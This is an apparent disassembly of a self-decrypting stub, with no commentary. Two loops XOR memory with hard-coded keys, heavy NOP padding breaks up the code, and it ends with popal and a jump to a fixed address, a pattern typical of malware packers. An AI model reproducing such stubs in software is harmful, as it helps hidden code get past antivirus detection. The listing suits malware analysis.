nop
pop eax
nop
nop
nop
mov esi, 0x653701d8
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x433060
nop
nop
nop
mov eax, section..text_1
nop
cmp eax, 0
nop
nop
je 0x4330d2
nop
nop
nop
nop
mov ebx, 0x4304d8
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x65bd603a
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x4330c0
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219